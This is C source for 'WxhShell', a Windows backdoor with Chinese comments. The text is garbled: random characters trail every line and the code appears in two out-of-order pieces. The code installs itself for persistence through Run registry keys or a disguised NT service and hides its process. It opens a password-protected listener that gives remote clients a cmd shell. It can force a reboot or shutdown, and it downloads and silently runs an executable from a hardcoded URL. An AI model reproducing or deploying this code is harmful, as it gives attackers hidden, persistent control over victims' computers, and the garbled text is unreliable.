    if(Boot(SHUTDOWN)) "SN*hzs"]`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <r,5F:  
    else { +.~K=.O)  
    closesocket(wsh); 6CFnE7TQf  
    ExitThread(0); nFJW\B&(`  
    } AZ(zM.y!#_  
    break; S`vt\g$ dN  
    } A8tJ&O rwY  
  // 获取shell e.vt"eRB  
  case 's': { Fj`k3~tUw  
    CmdShell(wsh); n{N0S^h  
    closesocket(wsh); E2M<I;:EA  
    ExitThread(0); 3: GwX4yW  
    break; CzG[S\{+  
  } jOT/|k  
  // 退出 bit|L7*14  
  case 'x': { /Pe xtj<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E0I/]0  
    CloseIt(wsh); _]@u)$  
    break; D9TjjA|zS  
    } Ja~8ZrcY  
  // 离开 ; =n}61  
  case 'q': { ho$}#o  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); HWV A5E[`Y  
    closesocket(wsh); ogIu\kiZ  
    WSACleanup(); EmaS/]X[  
    exit(1); -r,v3n  
    break; [s$x"Ex  
        } ?;oJ=.T  
  } `xx.,;S  
  } pnuo;rs  
JOG- i  
  // 提示信息 [;{xiW4V]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); - BWf.  
} )Wle CS_  
  } ]A}ZaXd  
2FZ T  
  return; }>M\iPO.]*  
} Ye]K 74M.  
lD0a<L 3  
// shell模块句柄 !D F~]&  
int CmdShell(SOCKET sock) (.=ig X  
{ 7>z {2D  
STARTUPINFO si; J;~YD$  
ZeroMemory(&si,sizeof(si)); Aa_@&e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [;Ih I  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T;3qE1c  
PROCESS_INFORMATION ProcessInfo; `^#4okg]  
char cmdline[]="cmd"; E{[Y8U1n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &Z>??|f  
  return 0; \)5mO 8w  
} <pV8 +V)  
zgz!"knVx  
// 自身启动模式 j_d}?jh  
int StartFromService(void) p>eYi \'  
{ C$0u-Nx8  
typedef struct P>rRD`Yy\  
{ 4L:O0Ggz}  
  DWORD ExitStatus; I(AlRh  
  DWORD PebBaseAddress; 842v^ 2  
  DWORD AffinityMask; q]yw",muT  
  DWORD BasePriority; [ >mH  
  ULONG UniqueProcessId; kSiyMDY-  
  ULONG InheritedFromUniqueProcessId; k9oi8G'g~  
}   PROCESS_BASIC_INFORMATION; SrH::-{  
OD7^*j(p`  
PROCNTQSIP NtQueryInformationProcess; I'BHNZO5tf  
eH7x>[lH.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; KDb j C'3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "Y^j=?1k  
Zoxblk  
  HANDLE             hProcess; .`~?w+ ~  
  PROCESS_BASIC_INFORMATION pbi; . q -: 3b  
3 1c*^ZE.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U2?R&c;b  
  if(NULL == hInst ) return 0; [-[59 H[6)  
C) R hld  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y;CX )!8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); WZ>nA[/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FRR05%K  
u=Ik&^v Wq  
  if (!NtQueryInformationProcess) return 0; ,\iXZ5"R  
59{X;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'm`}XGUBS  
  if(!hProcess) return 0; baD063P;  
bK!h{Rr  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C_>XtcU  
N$e mS  
  CloseHandle(hProcess); mWYrUI  
]QHp?Ii1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5,p;b  
if(hProcess==NULL) return 0; uWKmINjv'  
;<m*ASM.3  
HMODULE hMod; i$%Bo/Y   
char procName[255]; W/\VpD) ?;  
unsigned long cbNeeded; Z8Ig,  
-5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~5N oR  
y akRKiz\  
  CloseHandle(hProcess); pt"9zkPj  
T0dD:sN  
if(strstr(procName,"services")) return 1; // 以服务启动 ~n@rX=Y)]0  
nK03xYA  
  return 0; // 注册表启动 smfI+Z S"  
} Nc(CGl:  
mST8+R@S  
// 主模块 Lhp&RGy  
int StartWxhshell(LPSTR lpCmdLine) UH6 7<_mK  
{ >i*,6Psl[Z  
  SOCKET wsl; JDR_k  
BOOL val=TRUE; Uc:NW   
  int port=0; e(/F:ZEh  
  struct sockaddr_in door; !@ ]IJ"\  
*GoTN  
  if(wscfg.ws_autoins) Install(); ssLswb  
>w<w*pC  
port=atoi(lpCmdLine); @%x2d1FS  
nS3Aadm  
if(port<=0) port=wscfg.ws_port; d/yF}%0QI  
NjZ~b/  
  WSADATA data; ^wWbW&<Tg  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O=+$X Pa|  
Z6${nUX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   d2Q*1Q@u  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8cOft ;|qB  
  door.sin_family = AF_INET; oDu6W9+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %H\J@{f  
  door.sin_port = htons(port); }NyQ<,+mq&  
u$^tRz9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { WN=0s  
closesocket(wsl); S=-$:65  
return 1; uU3A,-{-  
} ,.0bE 9\o  
7Q&-ObW  
  if(listen(wsl,2) == INVALID_SOCKET) { 9\hI:rI  
closesocket(wsl); w -o#=R_  
return 1; 'o}[9ZBjn  
} \\\8{jq  
  Wxhshell(wsl); s.bo;lk  
  WSACleanup(); ?110} [jw  
YyxU/UnhG  
return 0; K [DpH&  
t?G6|3  
} 2lsUCQI;  
Sp X;nH-D  
// 以NT服务方式启动 sq`Xz 8u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V($V8P/  
{ KWY_eY_|  
DWORD   status = 0; "."(<c/3  
  DWORD   specificError = 0xfffffff; 0)Ephsw  
!Nx1I  
  serviceStatus.dwServiceType     = SERVICE_WIN32; SC~k4&xy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; HQ-+ +;Q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~>(~2083*;  
  serviceStatus.dwWin32ExitCode     = 0; )L:e0u  
  serviceStatus.dwServiceSpecificExitCode = 0; 1X5g(B  
  serviceStatus.dwCheckPoint       = 0; dWQsC|  
  serviceStatus.dwWaitHint       = 0; GKo&?Tj)  
o:Kw<z,$H  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -&Xv,:'?  
  if (hServiceStatusHandle==0) return; IyHbl_ P ^  
m4@NW*G{  
status = GetLastError(); -:ucp2  
  if (status!=NO_ERROR) Oh$:qu7o0&  
{ D`WRy}o  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |~BnE  
    serviceStatus.dwCheckPoint       = 0; &;-zy%#l  
    serviceStatus.dwWaitHint       = 0; U)bv,{-q  
    serviceStatus.dwWin32ExitCode     = status; ,J|,wNDU!K  
    serviceStatus.dwServiceSpecificExitCode = specificError; `Fn"QL-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); b`-|7<s  
    return; @5nFa~*K%  
  } @/<UhnI  
* HKu%g  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  %nY\"  
  serviceStatus.dwCheckPoint       = 0; Pt"H_SW~k  
  serviceStatus.dwWaitHint       = 0; h[]9F.[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6"Fn$ :l?  
} t>cGfA  
:Mu*E5  
// 处理NT服务事件,比如:启动、停止 swF{}S"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) t 6nRg  
{ P'U2hCif  
switch(fdwControl) @ye!? %  
{ %BGg?&  
case SERVICE_CONTROL_STOP: v,ssv{gU  
  serviceStatus.dwWin32ExitCode = 0; *7Q6b 4~"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; xW`y7Q}p  
  serviceStatus.dwCheckPoint   = 0; \Vf:/9^  
  serviceStatus.dwWaitHint     = 0; g&FTX>wX  
  { g.Xk6"kO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %)r ~GCd  
  } r+FEgSDa]  
  return; Gc|)4c  
case SERVICE_CONTROL_PAUSE: mtv8Bm=<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @[3c1B6K  
  break; S\TXx79PhC  
case SERVICE_CONTROL_CONTINUE: *vaYI3{qN  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Kn~Rck| ]  
  break; Zl5'%b$&  
case SERVICE_CONTROL_INTERROGATE: @zg}x0]  
  break; )J S6W  
}; >-A@6Qe_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f(5(V %  
} p +i 1sY  
W91yj:  
// 标准应用程序主函数 5X!-Hj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kMQ /9~  
{ yc](  
yQ2=d5'V`  
// 获取操作系统版本 &j 4pC$Dj  
OsIsNt=GetOsVer(); K29/7A/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); r9 @=d  
ss)x fG  
  // 从命令行安装 f4f2xe7\Q  
  if(strpbrk(lpCmdLine,"iI")) Install(); S!b18|o"  
s/D)X=P1  
  // 下载执行文件 .hat!Tt9  
if(wscfg.ws_downexe) { "@UQSf,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vamZKm~p  
  WinExec(wscfg.ws_filenam,SW_HIDE); A"V mxP  
} >7>I1  
AYbO~_a\N  
if(!OsIsNt) { eQbHf  
// 如果时win9x,隐藏进程并且设置为注册表启动 <>3)S`C`p  
HideProc(); y"q aa  
StartWxhshell(lpCmdLine); qNEp3WY:  
} "bo0O7InOV  
else ;/K2h_=3z  
  if(StartFromService()) >pU9}2fpT  
  // 以服务方式启动 I/dy^5@F  
  StartServiceCtrlDispatcher(DispatchTable); !ZBtXt#P  
else @[n#-!i  
  // 普通方式启动 rpT.n-H>%A  
  StartWxhshell(lpCmdLine); L80(9Y^xn  
~Bzzu % S  
return 0; bKo %Ak,  
} L!fTYX#K]  
ote,`h  
Wgwd?@uK  
 j#](Q!  
=========================================== i5 rkP`)j  
gfQ?k  
W$c@C02<  
n<ZPWlJ  
&3Zq1o  
 js_`L#t  
" 3'4+3Xo  
V%s g+D2  
#include <stdio.h> 8+F5n!  
#include <string.h> Kw -SOFE  
#include <windows.h> 4yl{:!la  
#include <winsock2.h> i>F=XE  
#include <winsvc.h> 3P cVE\GN  
#include <urlmon.h> }|P3(*S  
.hl_zc#  
#pragma comment (lib, "Ws2_32.lib") bNea5u##  
#pragma comment (lib, "urlmon.lib") Aedf (L7\  
WK>F0xMs1  
#define MAX_USER   100 // 最大客户端连接数 iM+` 7L'  
#define BUF_SOCK   200 // sock buffer -#|D>  
#define KEY_BUFF   255 // 输入 buffer q A)O kR'm  
cr1x CPJj  
#define REBOOT     0   // 重启  ?%,NOX  
#define SHUTDOWN   1   // 关机 *G19fJ[5  
= S&`~+  
#define DEF_PORT   5000 // 监听端口 C?<pD+]b_  
Q.mJ7T~T  
#define REG_LEN     16   // 注册表键长度 V ;T :Q%  
#define SVC_LEN     80   // NT服务名长度 A6&*VD  
d#ir=+o{h  
// 从dll定义API !J`lA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ZaFt4#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yayhL DL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); OK [J h  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {K,In)4  
*%j$i_  
// wxhshell配置信息 Y=Vbs x  
struct WSCFG { % Y^J''  
  int ws_port;         // 监听端口 oUv26t~  
  char ws_passstr[REG_LEN]; // 口令 u!_l/'\  
  int ws_autoins;       // 安装标记, 1=yes 0=no $]v}X},,  
  char ws_regname[REG_LEN]; // 注册表键名 ^J'_CA  
  char ws_svcname[REG_LEN]; // 服务名 / ;]5X  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ht3.e[%'b  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?8b19DMK6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !|cg=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no GtA`0B  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" h!EA;2yGKa  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tq3Wga!5  
}r,\0Wm  
}; E[H  
FKa";f"  
// default Wxhshell configuration .|UQ)J?s  
struct WSCFG wscfg={DEF_PORT, {Cx5m   
    "xuhuanlingzhe", ,^(]zZh  
    1, @AsJnf$y  
    "Wxhshell", Zi!Ta"}8  
    "Wxhshell", r* *zjv>  
            "WxhShell Service", M^FY6TT4O  
    "Wrsky Windows CmdShell Service", "W|A^@r}  
    "Please Input Your Password: ", wVf~FssN  
  1, rwm^{Qa  
  "http://www.wrsky.com/wxhshell.exe", IPiV_c-l  
  "Wxhshell.exe" sibYJKOy  
    }; ]-fkmnmWX  
%,$n^{v  
// 消息定义模块 ?^}30V:E  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; TCtZ2 <'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _VtQMg|u  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {zdMmpQF  
char *msg_ws_ext="\n\rExit."; c'2d+*[  
char *msg_ws_end="\n\rQuit."; rqdwQ  
char *msg_ws_boot="\n\rReboot..."; \@LTXH.  
char *msg_ws_poff="\n\rShutdown..."; ^J!q>KJs  
char *msg_ws_down="\n\rSave to "; uV/5f#)  
V~J5x >O  
char *msg_ws_err="\n\rErr!"; qQ&uU7,#  
char *msg_ws_ok="\n\rOK!"; -yYdj1y;  
 N;7/C  
char ExeFile[MAX_PATH]; `8:0x?X  
int nUser = 0; nwRltK  
HANDLE handles[MAX_USER]; pSZ2>^";  
int OsIsNt; 6cQgp]%  
 4M'>oa  
SERVICE_STATUS       serviceStatus; gq?:n.;TY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +6m.f,14q  
o4(*nz  
// 函数声明 em$pU*`P  
int Install(void); y_]+;%w:  
int Uninstall(void); %u -x9  
int DownloadFile(char *sURL, SOCKET wsh); ,$P,x  
int Boot(int flag); FR&`R  
void HideProc(void); 1H)mJVIKkB  
int GetOsVer(void); VFHd2Ea(  
int Wxhshell(SOCKET wsl); LF<&gC  
void TalkWithClient(void *cs); ,Kit@`P%  
int CmdShell(SOCKET sock); 8`Ya7c>  
int StartFromService(void); cNs'GfD}  
int StartWxhshell(LPSTR lpCmdLine); !3v&+Jrf6  
(~T*yH ~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2ZH+fV?.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); U, 6iT  
+n3I\7G>  
// 数据结构和表定义 2_o#Gx'  
SERVICE_TABLE_ENTRY DispatchTable[] = DL]tg [w{  
{ pl[J!d.c  
{wscfg.ws_svcname, NTServiceMain}, " \$^j#o  
{NULL, NULL} }[*'  
}; <=uYfi3,  
D28`?B9 (  
// 自我安装 8% @| /  
int Install(void) Ic& h8vSU  
{ WzMYRKZ  
  char svExeFile[MAX_PATH]; 5En6f`nR{  
  HKEY key; 0}{xH  
  strcpy(svExeFile,ExeFile); [3%mNNk  
M>Q]{/V7T  
// 如果是win9x系统,修改注册表设为自启动 lOIk$"Ne  
if(!OsIsNt) { >4 OXG7.&f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { md!6@)S-p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1GY2aZ@  
  RegCloseKey(key); %|Ps|iV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k3\N.@\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D}-.<  
  RegCloseKey(key); 98m|&7  
  return 0; =;}W)V|X)S  
    } |(7}0]BP0  
  } xQy,1f3s+  
} ~j0rORy]  
else { 'J|2c;M\x  
B.z$0=b  
// 如果是NT以上系统,安装为系统服务 %+7]/_JO&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @KG0QHyiU  
if (schSCManager!=0) 0p.bmQSH  
{ g(7 -3q8eq  
  SC_HANDLE schService = CreateService 0mw1CUx9K  
  ( V"FQVtTx7  
  schSCManager, lame/B&nc  
  wscfg.ws_svcname, t [QD#;  
  wscfg.ws_svcdisp, >r.]a`  
  SERVICE_ALL_ACCESS, YJi%vQ*]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8h )XULs2  
  SERVICE_AUTO_START, 2*Z2uV^  
  SERVICE_ERROR_NORMAL,  8*ZsR)!  
  svExeFile, Vej$|nF  
  NULL, ``o]i{x  
  NULL, Z`Yt~{,Q  
  NULL, pwUXM?$R  
  NULL, eH&F gmU  
  NULL ^aFm6HS1  
  ); 9I/b$$?D  
  if (schService!=0) 4aayMS !#  
  { Hl*vS  
  CloseServiceHandle(schService); Cu"Cpt[  
  CloseServiceHandle(schSCManager); .UyE|t4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); HL)!p8UHJ  
  strcat(svExeFile,wscfg.ws_svcname); J3 $>~?^1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tDByOml8Ix  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -[>de! T3$  
  RegCloseKey(key); {C1crp>q  
  return 0; A~ya{^}  
    } sXKkZ+2q  
  } lU WXXuO]  
  CloseServiceHandle(schSCManager); LZ*8YNp1'  
} -@TY8#O#-  
} 9tiZIm93]  
g40Hj Y  
return 1; OATdmHW  
} Uj@th  
?u|??z%  
// 自我卸载  7WJ \nK  
int Uninstall(void) j0=6B  
{ {>&~kM@  
  HKEY key; 'r;mm^cS?  
O"m7r ds  
if(!OsIsNt) { wjarQog5Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =u~nLL  
  RegDeleteValue(key,wscfg.ws_regname); p6M9uu  
  RegCloseKey(key); 'H1~Zhv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `y8pwWo-o  
  RegDeleteValue(key,wscfg.ws_regname); _\!]MV  
  RegCloseKey(key); Z~'t'.=z  
  return 0; t;O)   
  } 0RR|!zEu  
} z2=bbm:  
} V>6klA}o  
else { F^ q{[Z  
4vhf!!1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  MlO OB  
if (schSCManager!=0) -Cf)`/  
{ }$6L]   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); oOFTQB_6  
  if (schService!=0) ~uQ*u.wi  
  { )'shpRB;1  
  if(DeleteService(schService)!=0) {  Spm 0`  
  CloseServiceHandle(schService); kUT2/3Vi  
  CloseServiceHandle(schSCManager); X2w)J?pv  
  return 0; 6Yai?*.Q  
  } ;?h[WIy  
  CloseServiceHandle(schService); LG}{ibB  
  } xJq|,":gj  
  CloseServiceHandle(schSCManager); q8 v iC|  
} rxCzPF  
} N:j 7J  
l{By]S  
return 1; ?d')#WnC  
} +NlnK6T/  
(m]l -Re  
// 从指定url下载文件 8PI%Z6  
int DownloadFile(char *sURL, SOCKET wsh) d)%WaM%V  
{ SX4*804a_  
  HRESULT hr; 4,RPidv%O  
char seps[]= "/"; E^8|xT'h6  
char *token; xd Z$|{,  
char *file; l u=a e<M  
char myURL[MAX_PATH]; wMa8HeBE\  
char myFILE[MAX_PATH]; %ms%0%  
U-|]A\`)I  
strcpy(myURL,sURL); lyn%r  
  token=strtok(myURL,seps); TrI+F+;  
  while(token!=NULL) R'BB-  
  { ]jT}]9Q$  
    file=token; fQ+whGB  
  token=strtok(NULL,seps); c3]t"TA,  
  } 0R x#Fm  
hBgE%#`s  
GetCurrentDirectory(MAX_PATH,myFILE); g 9,"u_  
strcat(myFILE, "\\"); F^,:p.ihm<  
strcat(myFILE, file); $]7f1U_e  
  send(wsh,myFILE,strlen(myFILE),0); 1U\ap{z@  
send(wsh,"...",3,0); ]#0 (  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ax@H^Gj@2  
  if(hr==S_OK) 8SRR)O[)}  
return 0; q4ROuE|d  
else @ @[xTyA  
return 1; Nt>^2Mv   
fit{n]g  
} )&6gju7(  
Y6{^cZ!=  
// 系统电源模块 M7#!Y=  
int Boot(int flag) 8/e-?2l  
{ EQ%ooAb8  
  HANDLE hToken; <G})$f'x2  
  TOKEN_PRIVILEGES tkp; jAJ='|[X\  
cILS  
  if(OsIsNt) { 3Z*r#d$nh:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^PG"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); O9ex=m `L  
    tkp.PrivilegeCount = 1; 0`/G(ukO  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,dC.|P' `  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); x $uhkP  
if(flag==REBOOT) { 7_~ A*LM  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) d$IROZK-D  
  return 0; H'A N osv  
} Xhe& "rM  
else { <J509j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j>8DaEfwx  
  return 0; ;|Cd q  
} s5~k]"{j  
  } c 4z&HQd  
  else { .*zN@y3  
if(flag==REBOOT) { ^O|fw?,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y2W+YV*  
  return 0; 0E.N3iU  
} pBtO1x6x/  
else { `[H^ `   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :7e*- '  
  return 0;  _a09;C  
} AVT % AS  
} ^'QO!{7f  
U]hqRL  
return 1; [@@{z9c  
} U4XW Kwq  
EP:`l  
// win9x进程隐藏模块 Po?MTA  
void HideProc(void) N+&uR!:.C  
{ n;Bb/Z!~  
tN#C.M7.'7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C?qRZB+W#  
  if ( hKernel != NULL ) xG!~TQ  
  { ^ `LqNG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P2n8HFi  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cSL6V2F  
    FreeLibrary(hKernel); *\ii +f-  
  } I`_2Q:r  
(%_X{R'  
return; f:Pl Mv!{  
} 8eqTA8$?  
T Q41i/{  
// 获取操作系统版本 .7Mf(1:  
int GetOsVer(void) 7hJX  
{ yaz6?,)  
  OSVERSIONINFO winfo; Yxq!7J  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~n=DI/AJ@-  
  GetVersionEx(&winfo); 2u.0AG   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^ITF*  
  return 1; Sk{skvd;  
  else dD,}i$  
  return 0; i l^;2`]&  
} qU26i"GHp  
v_KO xV:<`  
// 客户端句柄模块 _[rFnyC+0V  
int Wxhshell(SOCKET wsl) { ^o.f  
{ suEK;Bk9  
  SOCKET wsh; Nu7>G  
  struct sockaddr_in client; &S4*x|-C&  
  DWORD myID; Fk=SkS ky  
;nSF\X(;{  
  while(nUser<MAX_USER) py;p7y!gxA  
{ E#!N8fQ  
  int nSize=sizeof(client);  kN=&"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @i#JlZM_  
  if(wsh==INVALID_SOCKET) return 1; B:h<iU:'D  
|_?e.}K  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >XtfT'  
if(handles[nUser]==0) 5 `1  
  closesocket(wsh); gnJ8tuS  
else AM+5_'S,  
  nUser++; )tG. 9"<  
  } ^N7H~CT"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Pd7\Q]of  
8"%Es  
  return 0; Q6m8N  
} q|*^{(tWs  
3(e_2v  
// 关闭 socket [9sEc  
void CloseIt(SOCKET wsh) G&S2U=KdV%  
{ L{1sYR%s\  
closesocket(wsh); }y6)d.  
nUser--; @43psq1  
ExitThread(0); <,CrE5Pl  
} U:8[%a  
t7byOMC  
// 客户端请求句柄 "$(+M t^  
void TalkWithClient(void *cs) mx^Ga=: ?  
{ \3hA_{ w  
T'pL&@,Q  
  SOCKET wsh=(SOCKET)cs; m-t: ' B  
  char pwd[SVC_LEN]; )Qb,zS6  
  char cmd[KEY_BUFF]; i~h@}0WR"  
char chr[1]; :)1"yo\  
int i,j; P<g(i 6]  
}{R*pmv$bN  
  while (nUser < MAX_USER) { NQ`D"n  
]5'$EAsuW  
if(wscfg.ws_passstr) { 8m"k3:e^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3(c-o0M  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `,]Bs*~  
  //ZeroMemory(pwd,KEY_BUFF); CH6 m  
      i=0; )- W1Wtom  
  while(i<SVC_LEN) { zT>!xGTu7~  
6*i **  
  // 设置超时 G _cJI  
  fd_set FdRead; F*P0=DD  
  struct timeval TimeOut; X +!+&RAN*  
  FD_ZERO(&FdRead); o*Qa*<n  
  FD_SET(wsh,&FdRead); uzdPA'u  
  TimeOut.tv_sec=8; T^ktfg Xq  
  TimeOut.tv_usec=0; :)#;0o5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $z=%e#(!I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7}&:07U  
_:Qh1 &h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); krfXvQJwJ  
  pwd=chr[0]; .D W>c}1  
  if(chr[0]==0xd || chr[0]==0xa) { ;TL.QN/l  
  pwd=0; ,4'gj0  
  break; LGt>=|=bj  
  } 9rEBq&  
  i++; 3y)\dln  
    } T#B#q1/  
dJR[9T_OF  
  // 如果是非法用户,关闭 socket sqKx?r72  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wqo:gW_  
} 2|;|C8C  
ZPZh6^cc  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); os5$(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Vg'R=+Wb  
&Ym):pc  
while(1) { m|q,i xg  
(~DW_+?]'  
  ZeroMemory(cmd,KEY_BUFF); 9w-\K]  
*s4|'KS2o  
      // 自动支持客户端 telnet标准   [Vs\r&qL  
  j=0; iaL@- dg  
  while(j<KEY_BUFF) { ~ YH?wdT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E`TZ:W]r,  
  cmd[j]=chr[0]; @6UtnX'd  
  if(chr[0]==0xa || chr[0]==0xd) { a/ A c^!(  
  cmd[j]=0; ko@ej^  
  break; L"ho|v9:  
  } `N\ ^JAGW  
  j++; :9QU\{2  
    } g`pq*D  
mn@1&#c4y  
  // 下载文件 Ze V@ X  
  if(strstr(cmd,"http://")) { S"!6]!~^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ZN8j})lE  
  if(DownloadFile(cmd,wsh)) # `=Zc7gf  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `4*I1WZW  
  else :UdW4N-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _=$~l^Y[  
  } PIH\*2\/  
  else { 4|PWR_x  
jC&fnt,O  
    switch(cmd[0]) { Ql{#dcRx  
  58Ibje  
  // 帮助 k'iiRRM  
